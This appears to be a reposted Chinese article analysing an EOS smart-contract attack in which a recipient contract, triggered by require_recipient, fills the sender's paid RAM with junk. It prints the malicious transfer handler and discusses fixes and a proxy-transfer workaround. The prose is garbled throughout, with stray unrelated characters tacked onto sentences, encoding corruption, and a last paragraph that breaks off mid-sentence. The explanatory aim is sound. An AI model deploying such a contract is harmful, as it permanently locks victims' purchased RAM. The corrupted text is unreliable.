為了避免資源濫用, EOS要求用戶購買一種稀缺的存儲資源——RAM寇仓,來部署合約和運(yùn)行DApp。
最近遍烦,開發(fā)者發(fā)現(xiàn)攻擊者能制造利用require_recipient 事件通知函數(shù)的惡意合約躺枕。require_recipient 事件通知函數(shù)的作用是允許一個(gè)合約通知另一個(gè)合約相關(guān)的重要事項(xiàng)(例如,一次代幣轉(zhuǎn)入)拐云。
惡意合約利用這個(gè)特性將垃圾數(shù)據(jù)填入用戶的RAM中,來永久凍結(jié)RAM并且阻礙受害者正常使用或者對外售出RAM叉瘩。
這種漏洞利用能同時(shí)影響普通用戶和特定的智能合約,但是需要注意的是薇缅,只有在這些用戶和合約向惡意合約轉(zhuǎn)賬后才會受到威脅。
漏洞分析
在DAPP 的開發(fā)過程中汤徽, 為了獲取轉(zhuǎn)賬信息, 一種方法是采用require_recipient來訂閱轉(zhuǎn)賬通知谒府, 原理是這樣的:
在系統(tǒng)合約eosio.token 的transfer 中浮毯, 轉(zhuǎn)賬時(shí)會分別通知from 和 to; 假設(shè)to賬號為自己開發(fā)了一個(gè)惡意合約如下,那么在被通知的時(shí)候下面代碼就會被調(diào)用亲轨,該函數(shù)做的就是消耗from賬號的ram
void transfer(account_name from, account_name to, asset quantity, std::string memo)
{
if (from == _self || to != _self) {
return;
}
for (int i = 0; i < 100; i++) {
// use from as payerD袼场器虾!
_teams.emplace(from, [&](auto &t) {
t.id = _teams.available_primary_key();
t.name = from;
t.total = quantity;
t.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
});
}
return;
}
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \
if ((code == self || action == N(onerror)) || (code == N(eosio.token) && action == N(transfer)) ) { \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
} \
因?yàn)樯鲜鰐o::transfer 這個(gè)handler 是被eosio.token::transfer 中的require_recipient 觸發(fā)的兆沙,并且在同一個(gè)action中執(zhí)行,action已經(jīng)被from授權(quán)所以下面的操作會順利進(jìn)行
void apply_context::update_db_usage( const account_name& payer, int64_t delta ) {
if( delta > 0 ) {
if( !(privileged || payer == account_name(receiver)) ) {
require_authorization( payer );
}
}
trx_context.add_ram_usage(payer, delta);
}
void apply_context::require_authorization( const account_name& account ) {
for( uint32_t i=0; i < act.authorization.size(); i++ ) {
if( act.authorization[i].actor == account ) {
used_authorizations[i] = true;
return;
}
}
EOS_ASSERT( false, missing_auth_exception, "missing authority of ${account}", ("account",account));
}
解決方案
我們建議的修復(fù)辦法是:在require_recipient觸發(fā)action handler 執(zhí)行時(shí), 禁止被觸發(fā)的handler 使用當(dāng)前action 的授權(quán)葛圃。 被觸發(fā)的 action handler 有存儲要求怎么辦憎妙? 可以使用inline actions 來解決, inline action 被執(zhí)行時(shí)就不會用到原來action 的授權(quán)了厘唾。
盡管這個(gè)漏洞利用無法盜取用戶資金,但是它能永久鎖定RAM抚垃,而RAM是要用EOS代幣購買的
EOS創(chuàng)造者Block.one的 CTO,以及 加密貨幣首席設(shè)計(jì)師 —— Dan Larimer在國外媒體Medium上談到了這個(gè)問題铣焊,辯稱這個(gè)問題應(yīng)該被描述為“對于合理特性的濫用”,并將其稱為“蓄意破壞”罕伯,而不是漏洞。
(原文章Medium鏈接:https://medium.com/eosio/preventing-unexpected-ram-consumption-8029a9342659)
他在文中提到熊昌,由于漏洞利用是利用“用戶意圖與真實(shí)代碼效果之間的不對稱”,而EOS網(wǎng)絡(luò)中的區(qū)塊制造者有權(quán)力根據(jù)EOS章程婿屹,在受影響用戶與合約作者通過仲裁程序解決糾紛后,將這些惡意合約打入黑名單昂利。正如他之前說過的:代碼含義即法律铁坎。他還強(qiáng)調(diào)許多EOS錢包都會警告用戶某一筆交易正在消耗RAM。
Larimer之后發(fā)起了一個(gè)專門為區(qū)塊制造者制定的協(xié)議升級硬萍。如果這個(gè)升級被所有活躍的合約制造者采納,它將防止require_recipient 事件通知函數(shù)意外消耗用戶或者合約的RAM朴乖。
與此同時(shí)助赞,一個(gè)EOSEssential的開發(fā)團(tuán)隊(duì)為擔(dān)心丟失庫存里RAM的用戶創(chuàng)建了一種有效的迂回手段袁勺,盡管稍微有點(diǎn)復(fù)雜。
這個(gè)團(tuán)隊(duì)在GitHub上將解釋了這個(gè)手段:EOS用戶能通過一個(gè)沒有RAM的代理賬戶發(fā)送代幣期丰,防止惡意合約消耗用戶真實(shí)賬戶上的RAM。這種被稱為“safetransfer”的代理合約會按照編寫的代碼钝荡,自動地向轉(zhuǎn)賬備忘錄上第一個(gè)出現(xiàn)的詞所代表的賬戶名稱轉(zhuǎn)入收到的代幣。
比如說几晤,如果我想向Block.one (他們手上只有100萬EOS,可能還不大夠)轉(zhuǎn)賬一些代幣蟹瘾,我會將這些代幣直接轉(zhuǎn)入“safetransfer”,然后在轉(zhuǎn)賬備忘錄上寫上“b1”(他們公司的名字)作為備忘錄上第一個(gè)詞憾朴。
備忘錄可能看起來會是這么個(gè)樣子:
“b1 這里是一些代幣,希望它們能解你燃眉之急”
雖然需要一些人為的操作众雷,但是這個(gè)代理方式的優(yōu)點(diǎn)是能兼容其他的代幣類型做祝。
另外,代理合約開發(fā)者建議用戶在與DApp交互時(shí)不要嘗試使用這個(gè)代理代幣的方法混槐,因?yàn)檫@會讓應(yīng)用以為它們在和代理合約,而不是真實(shí)的用戶交互声登。但是由于目前幾乎沒有人在使用EOS的DApp,所以不大可能產(chǎn)生比較嚴(yán)重
參考:
https://bcsec.org/index/detail/id/293/tag/2
http://www.cocoachina.com/cms/wap.php?action=article&id=24425